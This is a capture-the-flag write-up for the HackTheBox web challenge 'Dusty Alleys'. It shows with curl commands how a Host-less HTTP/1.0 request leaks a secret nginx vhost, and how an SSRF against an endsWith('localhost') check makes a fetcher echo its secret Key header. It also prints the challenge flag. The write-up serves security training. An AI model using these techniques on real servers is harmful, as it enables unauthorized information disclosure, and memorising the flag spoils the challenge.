pwneglyph logo
web web-server nginx virtual-host vhost-enumeration host-header http-1.0 default-server ssrf header-reflection node-fetch information-disclosure

The /guardian route only exists on the random guardian.<SECRET_ALLEY> vhost. Leak the domain by sending an HTTP/1.0 request with no Host header so nginx's default_server reflects alley.<SECRET_ALLEY> via the header-echo /think endpoint. Then call /guardian?quote=http://localhost:1337/think — guardian fetches that URL with the flag in a Key request header, and /think echoes all headers, exposing the flag.

Dusty Alleys — leak the secret vhost, then SSRF the guardian's flag header

Platform: HackTheBox · Category: Web (server-side) · Stack: nginx (name-based vhosts) + Node/Express (node-fetch)

Challenge overview

nginx serves two virtual hosts under a random base domain $SECRET_ALLEY:

server { listen 80 default_server; server_name alley.$SECRET_ALLEY;
         location /alley {...} location /think {...} }
server { server_name guardian.$SECRET_ALLEY;
         location /guardian {...} }     # only reachable if you know the secret domain

The flag is injected as a request header by the guardian when it fetches a URL. We need to (1) discover the secret domain, then (2) make the guardian fetch a reflector that echoes that header.

Step 1 — leak the secret domain via a Host-less HTTP/1.0 request

/think simply echoes the request headers:

router.get("/think", async (req, res) => res.json(req.headers));

HTTP/1.1 requires a Host, but HTTP/1.0 does not — omit it and nginx falls back to the default_server, whose server_name is alley.$SECRET_ALLEY. The reflected host reveals the base domain:

curl --http1.0 -H "Host:" -v http://target:PORT/think
# {"host":"alley.firstalleyontheleft.com", ...}

Now we know the suffix firstalleyontheleft.com, so the guardian vhost is guardian.firstalleyontheleft.com.

Step 2 — SSRF the guardian into echoing its own flag header

/guardian fetches an attacker URL, attaching the flag as a Key header, but only if the URL's hostname ends with localhost:

const location = new URL(quote);
if (!direction.endsWith("localhost") && direction !== "localhost") return ...forbidden;
let result = await node_fetch(quote, { headers: { Key: process.env.FLAG } }).then(r => r.text());
res.send(result);

Point it at the header-reflecting /think on localhost. The guardian fetches it (sending Key: HTB{...}), /think echoes every header straight back, and the guardian returns that body to us:

curl -H "Host: guardian.firstalleyontheleft.com" \
     "http://target:PORT/guardian?quote=http://localhost:1337/think"
# {"key":"HTB{DUsT_1n_my_3y3s_l33t}","host":"localhost:1337", ...}

Flag: HTB{DUsT_1n_my_3y3s_l33t}

Takeaways (generalized techniques)

  • default_server + Host-less HTTP/1.0 leaks the configured server_name. When routing depends on a secret vhost, send --http1.0 with no Host and read it back from any header-echo endpoint — nginx discloses the default server name.
  • An endpoint that echoes request headers + a fetcher that injects a secret header = self-SSRF exfil. If a server attaches credentials/flags as headers to outbound requests, aim it at a reflector (same host, /think-style) to read those headers in the response.
  • Hostname allowlists checked with endsWith("localhost") are easy to satisfy with the literal internal target (http://localhost:1337/...) — the SSRF guard is about where, but the bug is what header travels along.

Sources & references